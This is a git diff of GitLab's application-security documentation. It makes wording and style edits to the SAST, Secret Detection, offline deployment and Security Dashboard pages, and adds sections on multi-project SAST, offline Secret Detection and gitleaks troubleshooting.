index ed81eb8ca10..4c598d851a9 100644
--- a/doc/user/application_security/license_compliance/index.md
+++ b/doc/user/application_security/license_compliance/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md'
---
This document was moved to [another location](../../compliance/license_compliance/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/application_security/license_management/index.md b/doc/user/application_security/license_management/index.md
index df44041600b..bd67fca529f 100644
--- a/doc/user/application_security/license_management/index.md
+++ b/doc/user/application_security/license_management/index.md
@@ -3,3 +3,6 @@ redirect_to: ../../compliance/license_compliance/index.md
---
This document was moved to [another location](../../compliance/license_compliance/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md
index 35582aa20ed..14ca27cdabe 100644
--- a/doc/user/application_security/offline_deployments/index.md
+++ b/doc/user/application_security/offline_deployments/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Offline environments
@@ -34,7 +34,7 @@ must come in through physical media (USB drive, hard drive, writeable DVD, etc.)
## Overview
-GitLab scanners generally will connect to the internet to download the
+GitLab scanners usually connect to the internet to download the
latest sets of signatures, rules, and patches. A few extra steps are necessary
to configure the tools to function properly by using resources available on your local network.
@@ -73,7 +73,7 @@ hosting the latest versions of that dependency or image.
### Scanner signature and rule updates
-When connected to the internet, some scanners will reference public databases
+When connected to the internet, some scanners reference public databases
for the latest sets of signatures and rules to check against. Without connectivity,
this is not possible. Depending on the scanner, you must therefore disable
these automatic update checks and either use the databases that they came
@@ -131,7 +131,7 @@ a bastion, and used only for this specific project.
#### Scheduling the updates
-By default, this project's pipeline will run only once, when the `.gitlab-ci.yml` is added to the
+By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the
repo. To update the GitLab security scanners and signatures, it's necessary to run this pipeline
regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For
example, you can set this up to download and store the Docker images every week.
@@ -139,7 +139,7 @@ example, you can set this up to download and store the Docker images every week.
Some images can be updated more frequently than others. For example, the [vulnerability database](https://hub.docker.com/r/arminc/clair-db/tags)
for Container Scanning is updated daily. To update this single image, create a new Scheduled
Pipeline that runs daily and set `SECURE_BINARIES_ANALYZERS` to `clair-vulnerabilities-db`. Only
-this job will be triggered, and the image will be updated daily and made available in the project
+this job is triggered, and the image is updated daily and made available in the project
registry.
#### Using the secure bundle created
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index 4cbd4496dea..15412473ab1 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -1,7 +1,7 @@
---
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SAST Analyzers **(CORE)**
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index 49e194a9319..fb3bc256e11 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -1,15 +1,16 @@
---
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
# Static Application Security Testing (SAST)
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3.
+> - All open source (OSS) analyzers were moved to GitLab Core in GitLab 13.3.
-NOTE: **Note:**
+NOTE:
The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/)
explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your
organization.
@@ -50,16 +51,16 @@ To run SAST jobs, by default, you need GitLab Runner with the
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
If you're using the shared runners on GitLab.com, this is enabled by default.
-CAUTION: **Caution:**
+WARNING:
Our SAST jobs require a Linux container type. Windows containers are not yet supported.
-CAUTION: **Caution:**
+WARNING:
If you use your own runners, make sure the Docker version installed
is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
## Supported languages and frameworks
-GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we will automatically run the appropriate SAST analyzers.
+GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we automatically run the appropriate SAST analyzers.
You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297).
@@ -93,6 +94,31 @@ Note that the Java analyzers can also be used for variants like the
[Grails](https://grails.org/),
and the [Maven wrapper](https://github.com/takari/maven-wrapper).
+### Multi-project support
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4895) in GitLab 13.7.
+
+GitLab SAST can scan repositories that contain multiple projects. All projects must be in the same
+language.
+
+The following analyzers have multi-project support:
+
+- Bandit
+- ESLint
+- Gosec
+- Kubesec
+- NodeJsScan
+- MobSF
+- PMD
+- Security Code Scan
+- SpotBugs
+- Sobelow
+
+#### Enable multi-project support for Security Code Scan
+
+Multi-project support in the Security Code Scan requires a Solution (`.sln`) file in the root of
+the repository. For details on the Solution format, see the Microsoft reference [Solution (.sln) file](https://docs.microsoft.com/en-us/visualstudio/extensibility/internals/solution-dot-sln-file?view=vs-2019).
+
### Making SAST analyzers available to all GitLab tiers
All open source (OSS) analyzers have been moved to the GitLab Core tier as of GitLab 13.3.
@@ -188,7 +214,7 @@ the pipeline configuration, the last mention of the variable takes precedence.
### Overriding SAST jobs
-CAUTION: **Deprecation:**
+WARNING:
Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic)
is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
@@ -330,13 +356,13 @@ variables:
If your project requires custom build configurations, it can be preferable to avoid
compilation during your SAST execution and instead pass all job artifacts from an
-earlier stage within the pipeline. This is the current strategy when requiring
+earlier stage in the pipeline. This is the current strategy when requiring
a `before_script` execution to prepare your scan job.
To pass your project's dependencies as artifacts, the dependencies must be included
in the project's working directory and specified using the `artifacts:path` configuration.
If all dependencies are present, the `COMPILE=false` variable can be provided to the
-analyzer and compilation will be skipped:
+analyzer and compilation is skipped:
```yaml
image: maven:3.6-jdk-8-alpine
@@ -379,7 +405,10 @@ SAST can be [configured](#customizing-the-sast-settings) using environment varia
#### Logging level
-To control the verbosity of logs set the `SECURE_LOG_LEVEL` environment variable. Messages of this logging level or higher are output. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1.
+
+To control the verbosity of logs, set the `SECURE_LOG_LEVEL` environment variable. Messages of this
+logging level or higher are output.
From highest to lowest severity, the logging levels are:
@@ -392,7 +421,7 @@ From highest to lowest severity, the logging levels are:
#### Custom Certificate Authority
To trust a custom Certificate Authority, set the `ADDITIONAL_CA_CERT_BUNDLE` variable to the bundle
-of CA certs that you want to trust within the SAST environment.
+of CA certs that you want to trust in the SAST environment.
#### Docker images
@@ -410,8 +439,8 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre
| Environment variable | Default value | Description |
|-------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories will also match patterns. |
-| `SEARCH_MAX_DEPTH` | 4 | Maximum number of directories traversed when searching for source code files. |
+| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. |
+| `SEARCH_MAX_DEPTH` | 4 | SAST searches the repository to detect the programming languages used, and selects the matching analyzers. Set the value of `SEARCH_MAX_DEPTH` to specify how many directory levels the search phase should span. After the analyzers have been selected, the _entire_ repository is analyzed. |
| `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` |
| `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. |
| `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. |
@@ -424,7 +453,7 @@ Some analyzers can be customized with environment variables.
| Environment variable | Analyzer | Description |
|---------------------------------------|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. |
-| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` will scan. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. |
+| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. |
| `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. |
| `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. |
| `ANT_HOME` | SpotBugs | The `ANT_HOME` environment variable. |
@@ -451,15 +480,20 @@ all [custom environment variables](../../../ci/variables/README.md#custom-enviro
to the underlying SAST analyzer images if
[the SAST vendored template](#configuration) is used.
-CAUTION: **Caution:**
+WARNING:
Variables having names starting with these prefixes are **not** propagated to the SAST Docker container and/or
analyzer containers: `DOCKER_`, `CI`, `GITLAB_`, `FF_`, `HOME`, `PWD`, `OLDPWD`, `PATH`, `SHLVL`, `HOSTNAME`.
### Experimental features
-Receive early access to experimental features.
+You can receive early access to experimental features. Experimental features might be added,
+removed, or promoted to regular features at any time.
+
+Experimental features available are:
+
+- Enable scanning of iOS and Android apps using the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/).
-Currently, this will enable scanning of iOS and Android apps via the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/).
+#### Enable experimental features
To enable experimental features, add the following to your `.gitlab-ci.yml` file:
@@ -571,7 +605,7 @@ Once a vulnerability is found, you can interact with it. Read more on how to
## Vulnerabilities database
-Vulnerabilities contained within the vulnerability database can be searched
+Vulnerabilities contained in the vulnerability database can be searched
and viewed at the [GitLab vulnerability advisory database](https://advisories.gitlab.com).
### Vulnerabilities database update
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index 5eba0fa44ba..8f57e2c5535 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Secret Detection
@@ -40,19 +40,26 @@ The [default ruleset provided by Gitleaks](https://gitlab.com/gitlab-org/securit
- Cloud services:
- Amazon Web Services (AWS)
- Google Cloud Platform (GCP)
-Encryption keys:
+ - Heroku API
+- Encryption keys:
- PKCS8
- RSA
- SSH
- PGP
+ - DSA
+ - EC
- Social media platforms:
- Facebook API
- Twitter API
- Cloud SaaS vendors:
- GitHub API
- Slack Token
+ - Slack Webhook
- Stripe API
+ - Twilio API
- Generic API key strings starting with `api-`
+- Password in URL
+- U.S. Social Security Number
## Requirements
@@ -61,10 +68,10 @@ To run Secret Detection jobs, by default, you need GitLab Runner with the
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
If you're using the shared runners on GitLab.com, this is enabled by default.
-CAUTION: **Caution:**
+WARNING:
Our Secret Detection jobs expect a Linux container type. Windows containers are not supported.
-CAUTION: **Caution:**
+WARNING:
If you use your own runners, make sure the Docker version installed
is **not** `19.03.0`. See [troubleshooting information](../sast#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
@@ -102,7 +109,7 @@ begins with a dollar sign (`$`), as this likely indicates the password is an env
For example, `https://username:$password@example.com/path/to/repo` isn't detected, while
`https://username:password@example.com/path/to/repo` is.
-NOTE: **Note:**
+NOTE:
You don't have to configure Secret Detection manually as shown in this section if you're using
[Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection)
provided by [Auto DevOps](../../../topics/autodevops/index.md).
@@ -115,7 +122,7 @@ Add the following to your `.gitlab-ci.yml` file:
```yaml
include:
- - template: Secret-Detection.gitlab-ci.yml
+ - template: Security/Secret-Detection.gitlab-ci.yml
```
The included template creates Secret Detection jobs in your CI/CD pipeline and scans
@@ -130,13 +137,13 @@ always take the latest Secret Detection artifact available.
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6.
-Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers.
+Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers.
GitLab currently supports post-processing for following service providers:
- Amazon Web Services (AWS)
-Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639).
+Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639).
### Customizing settings
@@ -153,7 +160,7 @@ override the `secret_detection` job with the `SECRET_DETECTION_HISTORIC_SCAN` va
```yaml
include:
- - template: Secret-Detection.gitlab-ci.yml
+ - template: Security/Secret-Detection.gitlab-ci.yml
secret_detection:
variables:
@@ -163,7 +170,7 @@ secret_detection:
Because the template is [evaluated before](../../../ci/yaml/README.md#include)
the pipeline configuration, the last mention of the variable takes precedence.
-CAUTION: **Deprecation:**
+WARNING:
Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic)
is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
@@ -252,6 +259,27 @@ We have created a [short video walkthrough](https://youtu.be/wDtc_K00Y0A) showca
<iframe src="https://www.youtube.com/embed/wDtc_K00Y0A" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
+## Running Secret Detection in an offline environment
+
+For self-managed GitLab instances in an environment with limited, restricted, or intermittent access
+to external resources through the internet, some adjustments are required for the Secret Detection job to
+run successfully. For more information, see [Offline environments](../offline_deployments/index.md).
+
+### Requirements for offline Secret Detection
+
+To use Secret Detection in an offline environment, you need:
+
+- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
+- A Docker Container Registry with locally available copy of Secret Detection [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images.
+- Configure certificate checking of packages (optional).
+
+GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+in an offline environment if you prefer using only locally available Docker images. However, we
+recommend keeping the pull policy setting to `always` if not in an offline environment, as this
+enables the use of updated scanners in your CI/CD pipelines.
+
### Make GitLab Secret Detection analyzer image available inside your Docker registry
Import the following default Secret Detection analyzer images from `registry.gitlab.com` into your
@@ -278,8 +306,46 @@ Support for custom certificate authorities was introduced in the following versi
| -------- | ------- |
| secrets | [v3.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/releases/v3.0.0) |
+### Set Secret Detection CI job variables to use local Secret Detection analyzer
+
+Add the following configuration to your `.gitlab-ci.yml` file. You must replace
+`SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry:
+
+```yaml
+include:
+ - template: Security/Secret-Detection.gitlab-ci.yml
+
+variables:
+ SECURE_ANALYZERS_PREFIX: "localhost:5000/analyzers"
+```
+
+The Secret Detection job should now use local copies of the Secret Detection analyzer to scan your code and generate
+security reports without requiring internet access.
+
## Troubleshooting
### Getting warning message `gl-secret-detection-report.json: no matching files`
For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload).
+
+### Error: `Couldn't run the gitleaks command: exit status 2`
+
+This error is usually caused by the `GIT_DEPTH` value of 50 that is set for all [projects by default](../../../ci/pipelines/settings.md#git-shallow-clone).
+
+For example, if a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` is set to 50, the Secret Detection job fails as the clone is not deep enough to contain all of the relevant commits.
+
+You can confirm this to be the cause of the error by implementing a [logging level](../../application_security/secret_detection/index.md#logging-level) of `debug`. Once implemented, the logs should look similar to the following example, wherein an "object not found" error can be seen:
+
+```plaintext
+ERRO[2020-11-18T18:05:52Z] object not found
+[ERRO] [secrets] [2020-11-18T18:05:52Z] â–¶ Couldn't run the gitleaks command: exit status 2
+[ERRO] [secrets] [2020-11-18T18:05:52Z] â–¶ Gitleaks analysis failed: exit status 2
+```
+
+If this is the case, we can resolve the issue by setting the [`GIT_DEPTH` variable](../../../ci/runners/README.md#shallow-cloning) to a higher value. In order to apply this only to the Secret Detection job, the following can be added to your `.gitlab-ci.yml`:
+
+```yaml
+secret_detection:
+ variables:
+ GIT_DEPTH: 100
+```
diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png
deleted file mode 100644
index 0310ef3ea0a..00000000000
--- a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png
new file mode 100644
index 00000000000..cd8dbed48fc
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png b/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png
new file mode 100644
index 00000000000..b9b228c9430
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png b/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png
deleted file mode 100644
index 9cf95b197fe..00000000000
--- a/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index 9f402cea9dc..2750aa81872 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Threat Insights
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Security Dashboard, Security Center, and Vulnerability Reports **(ULTIMATE)**
@@ -87,7 +87,7 @@ display all detected and confirmed vulnerabilities.
The Vulnerability Report first displays the time at which the last pipeline completed on the project's
default branch. There's also a link to view this in more detail. In the case of any pipeline failures,
-you will see the number of failures clearly indicated. The failure notification takes you directly to
+the number of failures is indicated. The failure notification takes you directly to
the **Failed jobs** tab of the pipeline page.
The Vulnerability Report next displays the total number of vulnerabilities by severity (for example,
@@ -142,7 +142,7 @@ Next to the timeline chart is a list of projects, grouped and sorted by the seve
| B | One or more "low" |
| A | Zero vulnerabilities |
-Projects with no vulnerability tests configured will not appear in the list. Additionally, dismissed
+Projects with no vulnerability tests configured don't appear in the list. Additionally, dismissed
vulnerabilities are excluded.
Navigate to the group's [vulnerability report](#vulnerability-report-1) to view the vulnerabilities found.
@@ -192,7 +192,7 @@ You can export all your vulnerabilities in CSV (comma separated values) format b
ready, the CSV report downloads to your local machine. The report contains all vulnerabilities for
the projects defined in the Security Dashboard, as filters don't apply to the export function.
-NOTE: **Note:**
+NOTE:
It may take several minutes for the download to start if your project contains
thousands of vulnerabilities. Don't close the page until the download finishes.
@@ -225,12 +225,12 @@ are discovered.
To ensure the information on the Security Dashboard is regularly updated,
[configure a scheduled pipeline](../../../ci/pipelines/schedules.md) to run a
-daily security scan. This will update the information displayed on the Security
+daily security scan. This updates the information displayed on the Security
Dashboard regardless of how often the default branch is updated.
That way, reports are created even if no code change happens.
-CAUTION: **Warning:**
+WARNING:
Running Dependency Scanning from a scheduled pipeline might result in false negatives if your
project doesn't have a lock file and isn't configured for Continuous Delivery. A lock file is a file
that lists all transient dependencies and keeps track of their exact versions. The false negative
@@ -249,7 +249,7 @@ to configure daily security scans.
Each vulnerability report contains vulnerabilities from the latest scans that were merged
into the default branch.
-![Vulnerability Report](img/group_vulnerability_report_v13_4.png)
+![Vulnerability Report](img/group_vulnerability_report_v13_7.png)
You can filter which vulnerabilities the vulnerability report displays by:
@@ -264,7 +264,7 @@ Clicking any vulnerability in the table takes you to its
[Vulnerability Details](../vulnerabilities) page to see more information on that vulnerability.
To create an issue associated with the vulnerability, click the **Create Issue** button.
-![Create an issue for the vulnerability](img/vulnerability_page_v13_1.png)
+![Create an issue for the vulnerability](img/vulnerability_details_create_issue_v13_7.png)
Once you create the issue, the linked issue icon in the vulnerability list:
diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md
index f975de213ef..e046b18b2a4 100644
--- a/doc/user/application_security/terminology/index.md
+++ b/doc/user/application_security/terminology/index.md
@@ -1,20 +1,20 @@
---
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Secure and Defend terminology
+# Secure and Protect terminology
-This terminology list for GitLab Secure and Defend aims to:
+This terminology list for GitLab Secure and Protect aims to:
- Promote a ubiquitous language for discussing application security.
-- Improve the effectiveness of communication regarding GitLab's application security features.
+- Improve the effectiveness of communication regarding GitLab application security features.
- Get new contributors up to speed faster.
-This document defines application security terms in the specific context of GitLab's Secure and
-Defend products. Terms may therefore have different meanings outside of GitLab Secure and Defend.
+This document defines application security terms in the specific context of GitLab Secure and
+Protect features. Terms may therefore have different meanings outside that context.
## Terms
@@ -24,7 +24,7 @@ Software that performs a scan. The scan analyzes an attack surface for vulnerabi
a report containing findings. Reports adhere to the [Secure report format](#secure-report-format).
Analyzers integrate into GitLab using a CI job. The report produced by the analyzer is published as
-an artifact once the job is complete. GitLab ingests this report, allowing users to visualize and
+an artifact after the job is complete. GitLab ingests this report, allowing users to visualize and
manage found vulnerabilities. For more information, see [Security Scanner Integration](../../../development/integrations/secure.md).
Many GitLab analyzers follow a standard approach using Docker to run a wrapped scanner. For example,
@@ -74,7 +74,7 @@ or creating a merge request.
### Finding
-An asset that has the potential to be vulnerable, identified within a project by an analyzer. Assets
+An asset that has the potential to be vulnerable, identified in a project by an analyzer. Assets
include but are not restricted to source code, binary packages, containers, dependencies, networks,
applications, and infrastructure.
@@ -98,9 +98,9 @@ A finding's primary identifier is a value unique to that finding. The external t
of the finding's [first identifier](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/v2.4.0-rc1/dist/sast-report-format.json#L228)
combine to create the value.
-Examples of primary identifiers include ZAP's `PluginID`, or `CVE` for Klar. Note that the
-identifier must be stable. Subsequent scans must return the same value for the same finding, even if
-the location has slightly changed.
+Examples of primary identifiers include `PluginID` for OWASP Zed Attack Proxy (ZAP), or `CVE` for
+Klar. Note that the identifier must be stable. Subsequent scans must return the same value for the
+same finding, even if the location has slightly changed.
### Report finding
diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md
index f85d4f0140c..f7bd201aba9 100644
--- a/doc/user/application_security/threat_monitoring/index.md
+++ b/doc/user/application_security/threat_monitoring/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Threat Monitoring **(ULTIMATE)**
@@ -101,7 +101,7 @@ reflected upon refresh. Enforcement status changes are deployed
directly to a deployment namespace of the selected environment.
By default, the network policy list contains predefined policies in a
-disabled state. Once enabled,a predefined policy deploys to the
+disabled state. Once enabled, a predefined policy deploys to the
selected environment's deployment platform and you can manage it like
the regular policies.
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index 95bb1ff1a67..705964dba66 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Threat Insights
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vulnerability Pages
@@ -37,7 +37,7 @@ the following values:
|-----------|------------------------------------------------------------------------------------------------------------------|
| Detected | The default state for a newly discovered vulnerability |
| Confirmed | A user has seen this vulnerability and confirmed it to be accurate |
-| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise will not be resolved |
+| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved |
| Resolved | The vulnerability has been fixed and is no longer valid |
A timeline shows you when the vulnerability status has changed
@@ -47,9 +47,9 @@ and allows you to comment on a change.
You can create an issue for a vulnerability by selecting the **Create issue** button.
-This creates a [confidential issue](../../project/issues/confidential_issues.md) in the
-project the vulnerability came from and pre-populates it with useful information from
-the vulnerability report. After the issue is created, GitLab redirects you to the
+This allows the user to create a [confidential issue](../../project/issues/confidential_issues.md)
+in the project the vulnerability came from. Fields are pre-populated with pertinent information
+from the vulnerability report. After the issue is created, GitLab redirects you to the
issue page so you can edit, assign, or comment on the issue.
## Link issues to the vulnerability
diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md
index 4bd15c7922d..546746af535 100644
--- a/doc/user/asciidoc.md
+++ b/doc/user/asciidoc.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -48,13 +48,10 @@ monospaced font:
and lines breaks will be preserved.
```
-An admonition paragraph grabs the reader's attention:
+Admonition paragraphs grab the reader's attention:
-```plaintext
-NOTE: This is a brief reference, please read the full documentation at https://asciidoctor.org/docs/.
-
-TIP: Lists can be indented. Leading whitespace is not significant.
-```
+- `NOTE: This is a brief reference, please read the full documentation at https://asciidoctor.org/docs/.`
+- `TIP: Lists can be indented. Leading whitespace is not significant.`
### Text Formatting
@@ -440,6 +437,36 @@ graph LR
----
```
+#### Kroki
+
+Kroki supports more than a dozen diagram libraries.
+To make Kroki available in GitLab, a GitLab administrator needs to enable it first.
